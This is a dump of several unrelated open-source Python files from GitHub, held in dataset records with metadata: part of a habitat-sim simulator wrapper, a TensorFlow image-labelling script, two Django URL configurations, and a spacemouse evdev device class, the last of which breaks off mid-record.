get_rotation(self, object_id, scene_id=0):\n        return self._sim.get_rotation(object_id, scene_id)\n\n    def apply_force(self, force, relative_position, object_id, scene_id=0):\n        self._sim.apply_force(force, relative_position, object_id, scene_id)\n\n    def apply_torque(self, torque, object_id, scene_id=0):\n        self._sim.apply_torque(torque, object_id, scene_id)\n\n    def contact_test(self, object_id, scene_id=0):\n        return self._sim.contact_test(object_id, scene_id)\n\n    def get_world_time(self, scene_id=0):\n        return self._sim.get_world_time()\n\n    def recompute_navmesh(\n        self, pathfinder, navmesh_settings, include_static_objects=False\n    ):\n        return self._sim.recompute_navmesh(\n            pathfinder, navmesh_settings, include_static_objects\n        )\n\n    # --- lighting functions ---\n    def get_light_setup(self, key=DEFAULT_LIGHTING_KEY):\n        return self._sim.get_light_setup(key)\n\n    def set_light_setup(self, light_setup, key=DEFAULT_LIGHTING_KEY):\n        self._sim.set_light_setup(light_setup, key)\n\n    def set_object_light_setup(self, object_id, light_setup_key, scene_id=0):\n        self._sim.set_object_light_setup(object_id, light_setup_key, scene_id)\n\n\nclass Sensor:\n    r\"\"\"Wrapper around habitat_sim.Sensor\n\n    TODO(MS) define entire Sensor class in python, reducing complexity\n    \"\"\"\n\n    def __init__(self, sim, agent, sensor_id):\n        global torch\n        self._sim = sim\n        self._agent = agent\n\n        # sensor is an attached object to the scene node\n        # store such \"attached object\" in _sensor_object\n        self._sensor_object = self._agent._sensors.get(sensor_id)\n        self._spec = self._sensor_object.specification()\n\n        self._sim.renderer.bind_render_target(self._sensor_object)\n\n        if self._spec.gpu2gpu_transfer:\n            assert (\n                hsim.cuda_enabled\n            ), \"Must build habitat sim with cuda for gpu2gpu-transfer\"\n\n            if torch is None:\n                import torch\n\n            device = torch.device(\"cuda\", self._sim.gpu_device)\n            torch.cuda.set_device(device)\n\n            resolution = self._spec.resolution\n            if self._spec.sensor_type == hsim.SensorType.SEMANTIC:\n                self._buffer = torch.empty(\n                    resolution[0], resolution[1], dtype=torch.int32, device=device\n                )\n            elif self._spec.sensor_type == hsim.SensorType.DEPTH:\n                self._buffer = torch.empty(\n                    resolution[0], resolution[1], dtype=torch.float32, device=device\n                )\n            else:\n                self._buffer = torch.empty(\n                    resolution[0], resolution[1], 4, dtype=torch.uint8, device=device\n                )\n        else:\n            if self._spec.sensor_type == hsim.SensorType.SEMANTIC:\n                self._buffer = np.empty(\n                    (self._spec.resolution[0], self._spec.resolution[1]),\n                    dtype=np.uint32,\n                )\n            elif self._spec.sensor_type == hsim.SensorType.DEPTH:\n                self._buffer = np.empty(\n                    (self._spec.resolution[0], self._spec.resolution[1]),\n                    dtype=np.float32,\n                )\n            else:\n                self._buffer = np.empty(\n                    (\n                        self._spec.resolution[0],\n                        self._spec.resolution[1],\n                        self._spec.channels,\n                    ),\n                    dtype=np.uint8,\n                )\n\n        noise_model_kwargs = self._spec.noise_model_kwargs\n        self._noise_model = make_sensor_noise_model(\n            self._spec.noise_model,\n            {\"gpu_device_id\": self._sim.gpu_device, **noise_model_kwargs},\n        )\n        assert self._noise_model.is_valid_sensor_type(\n            self._spec.sensor_type\n        ), \"Noise model '{}' is not valid for sensor '{}'\".format(\n            self._spec.noise_model, self._spec.uuid\n        )\n\n    def draw_observation(self):\n        # sanity check:\n\n        # see if the sensor is attached to a scene graph, otherwise it is invalid,\n        # and cannot make any observation\n        if not self._sensor_object.object:\n            raise habitat_sim.errors.InvalidAttachedObject(\n                \"Sensor observation requested but sensor is invalid.\\\n                 (has it been detached from a scene node?)\"\n            )\n\n        # get the correct scene graph based on application\n        if self._spec.sensor_type == hsim.SensorType.SEMANTIC:\n            if self._sim.semantic_scene is None:\n                raise RuntimeError(\n                    \"SemanticSensor observation requested but no SemanticScene is loaded\"\n                )\n            scene = self._sim.get_active_semantic_scene_graph()\n        else:  # SensorType is DEPTH or any other type\n            scene = self._sim.get_active_scene_graph()\n\n        # now, connect the agent to the root node of the current scene graph\n\n        # sanity check is not needed on agent:\n        # because if a sensor is attached to a scene graph,\n        # it implies the agent is attached to the same scene graph\n        # (it assumes backend simulator will guarantee it.)\n\n        agent_node = self._agent.scene_node\n        agent_node.parent = scene.get_root_node()\n\n        with self._sensor_object.render_target as tgt:\n            self._sim.renderer.draw(\n                self._sensor_object, scene, self._sim.frustum_culling\n            )\n\n    def get_observation(self):\n\n        tgt = self._sensor_object.render_target\n\n        if self._spec.gpu2gpu_transfer:\n            with torch.cuda.device(self._buffer.device):\n                if self._spec.sensor_type == hsim.SensorType.SEMANTIC:\n                    tgt.read_frame_object_id_gpu(self._buffer.data_ptr())\n                elif self._spec.sensor_type == hsim.SensorType.DEPTH:\n                    tgt.read_frame_depth_gpu(self._buffer.data_ptr())\n                else:\n                    tgt.read_frame_rgba_gpu(self._buffer.data_ptr())\n\n                obs = self._buffer.flip(0)\n        else:\n            size = self._sensor_object.framebuffer_size\n\n            if self._spec.sensor_type == hsim.SensorType.SEMANTIC:\n                tgt.read_frame_object_id(\n                    mn.MutableImageView2D(mn.PixelFormat.R32UI, size, self._buffer)\n                )\n            elif self._spec.sensor_type == hsim.SensorType.DEPTH:\n                tgt.read_frame_depth(\n                    mn.MutableImageView2D(mn.PixelFormat.R32F, size, self._buffer)\n                )\n            else:\n                tgt.read_frame_rgba(\n                    mn.MutableImageView2D(\n                        mn.PixelFormat.RGBA8_UNORM,\n                        size,\n                        self._buffer.reshape(self._spec.resolution[0], -1),\n                    )\n                )\n\n            obs = np.flip(self._buffer, axis=0)\n\n        return self._noise_model(obs)\n\n    def close(self):\n        self._sim = None\n        self._agent = None\n        self._sensor_object = None\n", "repo_name": "lucivpav/habitat-sim", "sub_path": "habitat_sim/simulator.py", "file_name": "simulator.py", "file_ext": "py", "file_size_in_byte": 17965, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "78", "api": [{"api_name": "typing.Optional", "line_number": 33, "usage_type": "name"}, {"api_name": "habitat_sim.bindings.SimulatorConfiguration", "line_number": 33, "usage_type": "attribute"}, {"api_name": "habitat_sim.bindings", "line_number": 33, "usage_type": "name"}, {"api_name": "typing.Optional", "line_number": 34, "usage_type": "name"}, {"api_name": "typing.List", "line_number": 34, "usage_type": "name"}, {"api_name": "habitat_sim.agent.AgentConfiguration", "line_number": 34, "usage_type": "name"}, {"api_name": "attr.s", "line_number": 22, "usage_type": "call"}, {"api_name": "typing.List", "line_number": 48, "usage_type": "name"}, {"api_name": "habitat_sim.agent.Agent", "line_number": 48, "usage_type": "name"}, {"api_name": "attr.ib", "line_number": 48, "usage_type": "call"}, {"api_name": "habitat_sim.bindings.PathFinder", "line_number": 49, "usage_type": "attribute"}, {"api_name": "habitat_sim.bindings", "line_number": 49, "usage_type": "name"}, {"api_name": "attr.ib", "line_number": 49, "usage_type": "call"}, {"api_name": "habitat_sim.bindings.SimulatorBackend", "line_number": 50, "usage_type": "attribute"}, {"api_name": "habitat_sim.bindings", "line_number": 50, "usage_type": "name"}, {"api_name": "attr.ib", "line_number": 50, "usage_type": "call"}, {"api_name": "attr.ib", "line_number": 51, "usage_type": "call"}, {"api_name": "habitat_sim.agent.Agent", "line_number": 52, "usage_type": "name"}, {"api_name": "attr.ib", "line_number": 52, "usage_type": "call"}, {"api_name": "typing.Dict", "line_number": 53, "usage_type": "name"}, {"api_name": "attr.ib", "line_number": 53, "usage_type": "call"}, {"api_name": "habitat_sim.bindings.SimulatorBackend", "line_number": 101, "usage_type": "call"}, {"api_name": "habitat_sim.bindings", "line_number": 101, "usage_type": "name"}, {"api_name": "habitat_sim.agent.Agent", "line_number": 110, "usage_type": "call"}, {"api_name": "os.path.basename", "line_number": 120, "usage_type": "call"}, {"api_name": "os.path", "line_number": 120, "usage_type": "name"}, {"api_name": "os.path.dirname", "line_number": 125, "usage_type": "call"}, {"api_name": "os.path", "line_number": 125, "usage_type": "name"}, {"api_name": "os.path.join", "line_number": 126, "usage_type": "call"}, {"api_name": "os.path", "line_number": 126, "usage_type": "name"}, {"api_name": "os.path.splitext", "line_number": 131, "usage_type": "call"}, {"api_name": "os.path", "line_number": 131, "usage_type": "name"}, {"api_name": "habitat_sim.bindings.PathFinder", "line_number": 134, "usage_type": "call"}, {"api_name": "habitat_sim.bindings", "line_number": 134, "usage_type": "name"}, {"api_name": "os.path.exists", "line_number": 135, "usage_type": "call"}, {"api_name": "os.path", "line_number": 135, "usage_type": "name"}, {"api_name": "habitat_sim.logging.logger.info", "line_number": 137, "usage_type": "call"}, {"api_name": "habitat_sim.logging.logger", "line_number": 137, "usage_type": "name"}, {"api_name": "habitat_sim.logging.logger.warning", "line_number": 139, "usage_type": "call"}, {"api_name": "habitat_sim.logging.logger", "line_number": 139, "usage_type": "name"}, {"api_name": "habitat_sim.agent.AgentConfiguration", "line_number": 143, "usage_type": "call"}, {"api_name": "numpy.isclose", "line_number": 145, "usage_type": "call"}, {"api_name": "numpy.isclose", "line_number": 147, "usage_type": "call"}, {"api_name": "habitat_sim.logging.logger.info", "line_number": 148, "usage_type": "call"}, {"api_name": "habitat_sim.logging.logger", "line_number": 148, "usage_type": "name"}, {"api_name": "habitat_sim.nav.NavMeshSettings", "line_number": 152, "usage_type": "call"}, {"api_name": "habitat_sim.agent.AgentState", "line_number": 199, "usage_type": "call"}, {"api_name": "habitat_sim.utils.common.quat_from_angle_axis", "line_number": 202, "usage_type": "call"}, {"api_name": "numpy.random.uniform", "line_number": 203, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 203, "usage_type": "attribute"}, {"api_name": "numpy.pi", "line_number": 203, "usage_type": "attribute"}, {"api_name": "numpy.array", "line_number": 203, "usage_type": "call"}, {"api_name": "time.time", "line_number": 243, "usage_type": "call"}, {"api_name": "time.time", "line_number": 245, "usage_type": "call"}, {"api_name": "habitat_sim.nav.GreedyGeodesicFollower", "line_number": 254, "usage_type": "call"}, {"api_name": "habitat_sim.gfx.DEFAULT_LIGHTING_KEY", "line_number": 275, "usage_type": "name"}, {"api_name": "habitat_sim.gfx.DEFAULT_LIGHTING_KEY", "line_number": 334, "usage_type": "name"}, {"api_name": "habitat_sim.gfx.DEFAULT_LIGHTING_KEY", "line_number": 337, "usage_type": "name"}, {"api_name": "attr.s", "line_number": 37, "usage_type": "call"}, {"api_name": "habitat_sim.bindings.cuda_enabled", "line_number": 364, "usage_type": "attribute"}, {"api_name": "habitat_sim.bindings", "line_number": 364, "usage_type": "name"}, {"api_name": "torch.device", "line_number": 370, "usage_type": "call"}, {"api_name": "torch.cuda.set_device", "line_number": 371, "usage_type": "call"}, {"api_name": "torch.cuda", "line_number": 371, "usage_type": "attribute"}, {"api_name": "habitat_sim.bindings.SensorType", "line_number": 374, "usage_type": "attribute"}, {"api_name": "habitat_sim.bindings", "line_number": 374, "usage_type": "name"}, {"api_name": "torch.empty", "line_number": 375, "usage_type": "call"}, {"api_name": "torch.int32", "line_number": 376, "usage_type": "attribute"}, {"api_name": "habitat_sim.bindings.SensorType", "line_number": 378, "usage_type": "attribute"}, {"api_name": "habitat_sim.bindings", "line_number": 378, "usage_type": "name"}, {"api_name": "torch.empty", "line_number": 379, "usage_type": "call"}, {"api_name": "torch.float32", "line_number": 380, "usage_type": "attribute"}, {"api_name": "torch.empty", "line_number": 383, "usage_type": "call"}, {"api_name": "torch.uint8", "line_number": 384, "usage_type": "attribute"}, {"api_name": "habitat_sim.bindings.SensorType", "line_number": 387, "usage_type": "attribute"}, {"api_name": "habitat_sim.bindings", "line_number": 387, "usage_type": "name"}, {"api_name": "numpy.empty", "line_number": 388, "usage_type": "call"}, {"api_name": "numpy.uint32", "line_number": 390, "usage_type": "attribute"}, {"api_name": "habitat_sim.bindings.SensorType", "line_number": 392, "usage_type": "attribute"}, {"api_name": "habitat_sim.bindings", "line_number": 392, "usage_type": "name"}, {"api_name": "numpy.empty", "line_number": 393, "usage_type": "call"}, {"api_name": "numpy.float32", "line_number": 395, "usage_type": "attribute"}, {"api_name": "numpy.empty", "line_number": 398, "usage_type": "call"}, {"api_name": "numpy.uint8", "line_number": 404, "usage_type": "attribute"}, {"api_name": "habitat_sim.sensors.noise_models.make_sensor_noise_model", "line_number": 408, "usage_type": "call"}, {"api_name": "habitat_sim.bindings.errors.InvalidAttachedObject", "line_number": 424, "usage_type": "call"}, {"api_name": "habitat_sim.bindings.errors", "line_number": 424, "usage_type": "attribute"}, {"api_name": "habitat_sim.bindings", "line_number": 424, "usage_type": "name"}, {"api_name": "habitat_sim.bindings.SensorType", "line_number": 430, "usage_type": "attribute"}, {"api_name": "habitat_sim.bindings", "line_number": 430, "usage_type": "name"}, {"api_name": "torch.cuda.device", "line_number": 459, "usage_type": "call"}, {"api_name": "torch.cuda", "line_number": 459, "usage_type": "attribute"}, {"api_name": "habitat_sim.bindings.SensorType", "line_number": 460, "usage_type": "attribute"}, {"api_name": "habitat_sim.bindings", "line_number": 460, "usage_type": "name"}, {"api_name": "habitat_sim.bindings.SensorType", "line_number": 462, "usage_type": "attribute"}, {"api_name": "habitat_sim.bindings", "line_number": 462, "usage_type": "name"}, {"api_name": "habitat_sim.bindings.SensorType", "line_number": 471, "usage_type": "attribute"}, {"api_name": "habitat_sim.bindings", "line_number": 471, "usage_type": "name"}, {"api_name": "magnum.MutableImageView2D", "line_number": 473, "usage_type": "call"}, {"api_name": "magnum.PixelFormat", "line_number": 473, "usage_type": "attribute"}, {"api_name": "habitat_sim.bindings.SensorType", "line_number": 475, "usage_type": "attribute"}, {"api_name": "habitat_sim.bindings", "line_number": 475, "usage_type": "name"}, {"api_name": "magnum.MutableImageView2D", "line_number": 477, "usage_type": "call"}, {"api_name": "magnum.PixelFormat", "line_number": 477, "usage_type": "attribute"}, {"api_name": "magnum.MutableImageView2D", "line_number": 481, "usage_type": "call"}, {"api_name": "magnum.PixelFormat", "line_number": 482, "usage_type": "attribute"}, {"api_name": "numpy.flip", "line_number": 488, "usage_type": "call"}]}
{"seq_id": "8474946515", "text": "from __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\n\nimport argparse\n\nfrom imagenet.lib.label_image import FacesClassificator\n\nif __name__ == \"__main__\":\n    file_name = \"imagenet/tf_files/flower_photos/daisy/3475870145_685a19116d.jpg\"\n    model_file = \"imagenet/tf_trained/retrained_graph.pb\"\n    label_file = \"imagenet/tf_trained/retrained_labels.txt\"\n    input_height = 224\n    input_width = 224\n    input_mean = 128\n    input_std = 128\n    input_layer = \"input\"\n    output_layer = \"final_result\"\n    \n    parser = argparse.ArgumentParser()\n    parser.add_argument(\"--image\", help=\"image to be processed\")\n    parser.add_argument(\"--graph\", help=\"graph/model to be executed\")\n    parser.add_argument(\"--labels\", help=\"name of file containing labels\")\n    parser.add_argument(\"--input_height\", type=int, help=\"input height\")\n    parser.add_argument(\"--input_width\", type=int, help=\"input width\")\n    parser.add_argument(\"--input_mean\", type=int, help=\"input mean\")\n    parser.add_argument(\"--input_std\", type=int, help=\"input std\")\n    parser.add_argument(\"--input_layer\", help=\"name of input layer\")\n    parser.add_argument(\"--output_layer\", help=\"name of output layer\")\n    args = parser.parse_args()\n    \n    if args.graph:\n        model_file = args.graph\n    if args.image:\n        file_name = args.image\n    if args.labels:\n        label_file = args.labels\n    if args.input_height:\n        input_height = args.input_height\n    if args.input_width:\n        input_width = args.input_width\n    if args.input_mean:\n        input_mean = args.input_mean\n    if args.input_std:\n        input_std = args.input_std\n    if args.input_layer:\n        input_layer = args.input_layer\n    if args.output_layer:\n        output_layer = args.output_layer\n    \n    classificator = FacesClassificator(model_file=model_file,\n                                       file_name=file_name,\n                                       label_file=label_file,\n                                       input_height=input_height,\n                                       input_width=input_width,\n                                       input_mean=input_mean,\n                                       input_std=input_std,\n                                       input_layer=input_layer,\n                                       output_layer=output_layer)\n    \n    classes = classificator.get_probabilities(file_name, debug=True)\n    \n    for name, prob in sorted(classes.items()):\n        print('{}: {}'.format(name, prob))\n", "repo_name": "fratbots/ebleeni", "sub_path": "imagenet/scripts/label_image.py", "file_name": "label_image.py", "file_ext": "py", "file_size_in_byte": 2542, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 8, "dataset": "github-code", "pt": "78", "api": [{"api_name": "argparse.ArgumentParser", "line_number": 20, "usage_type": "call"}, {"api_name": "imagenet.lib.label_image.FacesClassificator", "line_number": 51, "usage_type": "call"}]}
{"seq_id": "25533495625", "text": "\"\"\"web URL Configuration\n\nThe `urlpatterns` list routes URLs to views. For more information please see:\n    https://docs.djangoproject.com/en/3.1/topics/http/urls/\nExamples:\nFunction views\n    1. Add an import:  from my_app import views\n    2. Add a URL to urlpatterns:  path('', views.home, name='home')\nClass-based views\n    1. Add an import:  from other_app.views import Home\n    2. Add a URL to urlpatterns:  path('', Home.as_view(), name='home')\nIncluding another URLconf\n    1. Import the include() function: from django.urls import include, path\n    2. Add a URL to urlpatterns:  path('blog/', include('blog.urls'))\n\"\"\"\nfrom myweb import views\nfrom django.contrib import admin\nfrom django.urls import path\nfrom django.conf.urls import include,url\nfrom django.contrib import admin\n\nurlpatterns = [\n    path('admin/', admin.site.urls),\n    #url(r'^admin/',admin.site.urls),\n    #url(r'^index/',include('myweb.urls')),\n    path('index/',views.index,name='index'),\n    path('about/',views.about),\n    path('blog/',views.blog),\n    path('contact/',views.contact),\n    path('profile/',views.profile,name='profile'),\n    path('recipe/',views.recipe),\n    path('logi/',views.logi,name='login'),\n    path('register/',views.register,name='register'),\n    path('logout/',views.user_logout,name='logout'),\n    path('cpass/',views.cpass,name='cpass'),\n    path('c/',views.c,name='c'),\n    path('userdetail/<int:id>',views.userdetail,name='userdetail'),\n    path('index/emaill',views.emaill,name='emaill')\n\n]\n", "repo_name": "harjotaujla/web", "sub_path": "web/urls.py", "file_name": "urls.py", "file_ext": "py", "file_size_in_byte": 1502, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "django.urls.path", "line_number": 23, "usage_type": "call"}, {"api_name": "django.contrib.admin.site", "line_number": 23, "usage_type": "attribute"}, {"api_name": "django.contrib.admin", "line_number": 23, "usage_type": "name"}, {"api_name": "django.urls.path", "line_number": 26, "usage_type": "call"}, {"api_name": "myweb.views.index", "line_number": 26, "usage_type": "attribute"}, {"api_name": "myweb.views", "line_number": 26, "usage_type": "name"}, {"api_name": "django.urls.path", "line_number": 27, "usage_type": "call"}, {"api_name": "myweb.views.about", "line_number": 27, "usage_type": "attribute"}, {"api_name": "myweb.views", "line_number": 27, "usage_type": "name"}, {"api_name": "django.urls.path", "line_number": 28, "usage_type": "call"}, {"api_name": "myweb.views.blog", "line_number": 28, "usage_type": "attribute"}, {"api_name": "myweb.views", "line_number": 28, "usage_type": "name"}, {"api_name": "django.urls.path", "line_number": 29, "usage_type": "call"}, {"api_name": "myweb.views.contact", "line_number": 29, "usage_type": "attribute"}, {"api_name": "myweb.views", "line_number": 29, "usage_type": "name"}, {"api_name": "django.urls.path", "line_number": 30, "usage_type": "call"}, {"api_name": "myweb.views.profile", "line_number": 30, "usage_type": "attribute"}, {"api_name": "myweb.views", "line_number": 30, "usage_type": "name"}, {"api_name": "django.urls.path", "line_number": 31, "usage_type": "call"}, {"api_name": "myweb.views.recipe", "line_number": 31, "usage_type": "attribute"}, {"api_name": "myweb.views", "line_number": 31, "usage_type": "name"}, {"api_name": "django.urls.path", "line_number": 32, "usage_type": "call"}, {"api_name": "myweb.views.logi", "line_number": 32, "usage_type": "attribute"}, {"api_name": "myweb.views", "line_number": 32, "usage_type": "name"}, {"api_name": "django.urls.path", "line_number": 33, "usage_type": "call"}, {"api_name": "myweb.views.register", "line_number": 33, "usage_type": "attribute"}, {"api_name": "myweb.views", "line_number": 33, "usage_type": "name"}, {"api_name": "django.urls.path", "line_number": 34, "usage_type": "call"}, {"api_name": "myweb.views.user_logout", "line_number": 34, "usage_type": "attribute"}, {"api_name": "myweb.views", "line_number": 34, "usage_type": "name"}, {"api_name": "django.urls.path", "line_number": 35, "usage_type": "call"}, {"api_name": "myweb.views.cpass", "line_number": 35, "usage_type": "attribute"}, {"api_name": "myweb.views", "line_number": 35, "usage_type": "name"}, {"api_name": "django.urls.path", "line_number": 36, "usage_type": "call"}, {"api_name": "myweb.views.c", "line_number": 36, "usage_type": "attribute"}, {"api_name": "myweb.views", "line_number": 36, "usage_type": "name"}, {"api_name": "django.urls.path", "line_number": 37, "usage_type": "call"}, {"api_name": "myweb.views.userdetail", "line_number": 37, "usage_type": "attribute"}, {"api_name": "myweb.views", "line_number": 37, "usage_type": "name"}, {"api_name": "django.urls.path", "line_number": 38, "usage_type": "call"}, {"api_name": "myweb.views.emaill", "line_number": 38, "usage_type": "attribute"}, {"api_name": "myweb.views", "line_number": 38, "usage_type": "name"}]}
{"seq_id": "70409587772", "text": "from django.urls import path\n\nfrom ideas.views.idea_views import (\n    CreateIdeaView,\n    GetHaveIJoinedIdeaView,\n    IdeasBoardView,\n    IdeaView,\n    JoinIdeaChatView,\n    SetIdeaSharedView,\n)\nfrom ideas.views.comment_views import (\n    IdeaCommentsView,\n    ListIdeaCommentsView,\n    UpdateDestroyIdeaCommentView,\n)\nfrom ideas.views.idea_support_views import (\n    GetPersonalIdeaRatingView,\n    IdeaRatingView,\n)\n\napp_name = \"ideas\"\nurlpatterns = [\n    path(\"ideas/\", IdeasBoardView.as_view(), name=\"ideasboard-view\"),\n    path(\"ideas/<str:url_slug>/\", IdeaView.as_view(), name=\"idea-view\"),\n    path(\"create_idea/\", CreateIdeaView.as_view(), name=\"create-idea-view\"),\n    path(\n        \"ideas/<str:url_slug>/comments/\",\n        ListIdeaCommentsView.as_view(),\n        name=\"list-idea-comments-view\",\n    ),\n    path(\n        \"ideas/<str:url_slug>/comment/\",\n        IdeaCommentsView.as_view(),\n        name=\"idea-comments-view\",\n    ),\n    path(\n        \"ideas/<str:url_slug>/comments/<int:comment_id>/\",\n        UpdateDestroyIdeaCommentView.as_view(),\n        name=\"update-destroy-idea-comment-view\",\n    ),\n    path(\n        \"ideas/<str:url_slug>/ratings/\",\n        IdeaRatingView.as_view(),\n        name=\"idea-rating-view\",\n    ),\n    path(\n        \"ideas/<str:url_slug>/my_rating/\",\n        GetPersonalIdeaRatingView.as_view(),\n        name=\"get-my-idea-rating-view\",\n    ),\n    path(\n        \"ideas/<str:url_slug>/join_chat/\",\n        JoinIdeaChatView.as_view(),\n        name=\"join-idea-chat-view\",\n    ),\n    path(\n        \"ideas/<str:url_slug>/have_i_joined/\",\n        GetHaveIJoinedIdeaView.as_view(),\n        name=\"have-i-joined-idea-view\",\n    ),\n    path(\n        \"ideas/<str:url_slug>/set_shared_idea/\",\n        SetIdeaSharedView.as_view(),\n        name=\"set-shared-idea-view\",\n    ),\n]\n", "repo_name": "climateconnect/climateconnect", "sub_path": "backend/ideas/urls.py", "file_name": "urls.py", "file_ext": "py", "file_size_in_byte": 1805, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 48, "dataset": "github-code", "pt": "78", "api": [{"api_name": "django.urls.path", "line_number": 23, "usage_type": "call"}, {"api_name": "ideas.views.idea_views.IdeasBoardView.as_view", "line_number": 23, "usage_type": "call"}, {"api_name": "ideas.views.idea_views.IdeasBoardView", "line_number": 23, "usage_type": "name"}, {"api_name": "django.urls.path", "line_number": 24, "usage_type": "call"}, {"api_name": "ideas.views.idea_views.IdeaView.as_view", "line_number": 24, "usage_type": "call"}, {"api_name": "ideas.views.idea_views.IdeaView", "line_number": 24, "usage_type": "name"}, {"api_name": "django.urls.path", "line_number": 25, "usage_type": "call"}, {"api_name": "ideas.views.idea_views.CreateIdeaView.as_view", "line_number": 25, "usage_type": "call"}, {"api_name": "ideas.views.idea_views.CreateIdeaView", "line_number": 25, "usage_type": "name"}, {"api_name": "django.urls.path", "line_number": 26, "usage_type": "call"}, {"api_name": "ideas.views.comment_views.ListIdeaCommentsView.as_view", "line_number": 28, "usage_type": "call"}, {"api_name": "ideas.views.comment_views.ListIdeaCommentsView", "line_number": 28, "usage_type": "name"}, {"api_name": "django.urls.path", "line_number": 31, "usage_type": "call"}, {"api_name": "ideas.views.comment_views.IdeaCommentsView.as_view", "line_number": 33, "usage_type": "call"}, {"api_name": "ideas.views.comment_views.IdeaCommentsView", "line_number": 33, "usage_type": "name"}, {"api_name": "django.urls.path", "line_number": 36, "usage_type": "call"}, {"api_name": "ideas.views.comment_views.UpdateDestroyIdeaCommentView.as_view", "line_number": 38, "usage_type": "call"}, {"api_name": "ideas.views.comment_views.UpdateDestroyIdeaCommentView", "line_number": 38, "usage_type": "name"}, {"api_name": "django.urls.path", "line_number": 41, "usage_type": "call"}, {"api_name": "ideas.views.idea_support_views.IdeaRatingView.as_view", "line_number": 43, "usage_type": "call"}, {"api_name": "ideas.views.idea_support_views.IdeaRatingView", "line_number": 43, "usage_type": "name"}, {"api_name": "django.urls.path", "line_number": 46, "usage_type": "call"}, {"api_name": "ideas.views.idea_support_views.GetPersonalIdeaRatingView.as_view", "line_number": 48, "usage_type": "call"}, {"api_name": "ideas.views.idea_support_views.GetPersonalIdeaRatingView", "line_number": 48, "usage_type": "name"}, {"api_name": "django.urls.path", "line_number": 51, "usage_type": "call"}, {"api_name": "ideas.views.idea_views.JoinIdeaChatView.as_view", "line_number": 53, "usage_type": "call"}, {"api_name": "ideas.views.idea_views.JoinIdeaChatView", "line_number": 53, "usage_type": "name"}, {"api_name": "django.urls.path", "line_number": 56, "usage_type": "call"}, {"api_name": "ideas.views.idea_views.GetHaveIJoinedIdeaView.as_view", "line_number": 58, "usage_type": "call"}, {"api_name": "ideas.views.idea_views.GetHaveIJoinedIdeaView", "line_number": 58, "usage_type": "name"}, {"api_name": "django.urls.path", "line_number": 61, "usage_type": "call"}, {"api_name": "ideas.views.idea_views.SetIdeaSharedView.as_view", "line_number": 63, "usage_type": "call"}, {"api_name": "ideas.views.idea_views.SetIdeaSharedView", "line_number": 63, "usage_type": "name"}]}
{"seq_id": "25501479183", "text": "from errno import ENODEV\n\nfrom evdev import InputDevice, ecodes\n\nfrom ..event import MotionEvent, ButtonEvent, LedEvent\n\n\nclass Device(object):\n    devnode = None\n\n    _input_device = None\n    _last_motion = None\n    _last_timecode = [0, 0]\n\n    def __init__(self, devnode, open=False):\n        self.devnode = devnode\n\n        if open:\n            self.open()\n\n    def __eq__(self, other):\n        if self._input_device is None:\n            return False\n        if not hasattr(other, \"_input_device\"):\n            return False\n\n        return self._input_device == other._input_device\n\n    def __del__(self):\n        try:\n            self.close()\n        except:\n            pass\n\n    def __enter__(self):\n        if not self.fd > -1:\n            self.open()\n\n        return self\n\n    def __exit__(self, exc_type, exc_value, traceback):\n        self.close(silent=True)\n\n        return True\n\n    @property\n    def fd(self):\n        return self._input_device.fd if self._input_device is not None else -1\n\n    @property\n    def led(self):\n        if self._input_device is not None:\n            return bool(self._input_device.leds())\n\n    @led.setter\n    def led(self, state):\n        if self._input_device is not None:\n            return self._input_device.set_led(ecodes.LED_MISC, state)\n\n    def fileno(self):\n        if self._input_device is not None:\n            return self._input_device.fileno()\n\n        return -1\n\n    def open(self):\n        if self._input_device is None:\n            self._input_device = InputDevice(self.devnode)\n        else:\n            raise RuntimeError(\"can not open an already opened device\")\n\n        return self.fd\n\n    def close(self, silent=False):\n        if self._input_device is not None:\n            try:\n                self._input_device.close()\n            except OSError as err:\n                if not (err.errno == ENODEV and silent):\n                    raise\n            finally:\n                del self._input_device\n\n                self._input_device = None\n        else:\n            raise RuntimeError(\"can not close an unopened device\")\n\n    def grab(self):\n        if self._input_device is not None:\n            return self._input_device.grab()\n\n    def ungrab(self):\n        if self._input_device is not None:\n            return self._input_device.ungrab()\n\n    def _convert(self, ev):\n        event = None\n\n        if ev.type in (ecodes.EV_ABS, ecodes.EV_REL):  # motion events\n            if self._last_motion is None:\n                self._last_motion = MotionEvent()\n\n            event = self._last_motion\n\n            if self._last_timecode[0] > 0:\n                millis = (ev.sec - self._last_timecode[0]) * 1000\n                millis += (ev.usec - self._last_timecode[1]) // 1000\n\n                event.period = millis\n\n            axis_map = {ecodes.ABS_X: 'x', ecodes.REL_X: 'x',\n                        ecodes.ABS_Y: 'y', ecodes.REL_Y: 'y',\n                        ecodes.ABS_Z: 'z', ecodes.REL_Z: 'z',\n                        ecodes.ABS_RX: 'rx', ecodes.REL_RX: 'rx',\n                        ecodes.ABS_RY: 'ry', ecodes.REL_RY: 'ry',\n                        ecodes.ABS_RZ: 'rz', ecodes.REL_RZ: 'rz'\n                        }\n\n            setattr(event, axis_map[ev.code], ev.value)\n        elif ev.type == ecodes.EV_KEY:\n            event = ButtonEvent()\n\n            event.bnum = ev.code - ecodes.BTN_0\n            event.press = ev.value\n        elif ev.type == ecodes.EV_LED and ev.code == ecodes.LED_MISC:\n            event = LedEvent()\n\n            event.state = ev.value\n\n        return ev.type, event\n\n    def read_one(self):\n        if self._input_device is None:\n            return\n\n        prev_event = None\n\n        for ev in self._input_device.read_loop():\n            ev_type, event = self._convert(ev)\n\n            if event:\n                prev_event = event\n            if ev_type == ecodes.EV_SYN and prev_event:\n                if type(prev_event) == MotionEvent:\n                    self._last_timecode = ev.sec, ev.usec\n\n                break\n\n        return prev_event\n\n    def read(self):\n        if self._input_device is None:\n            return\n\n        prev_event = None\n\n        for ev in self._input_device.read_loop():\n            ev_type, event = self._convert(ev)\n\n            if event:\n                prev_event = event\n            if ev_type == ecodes.EV_SYN and prev_event:\n                if type(prev_event) == MotionEvent:\n                    self._last_timecode = ev.sec, ev.usec\n\n                yield prev_event\n", "repo_name": "rolfmorel/spacemouse-py", "sub_path": "spacemouse/evdev/device.py", "file_name": "device.py", "file_ext": "py", "file_size_in_byte": 4517, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "78", "api": [{"api_name": 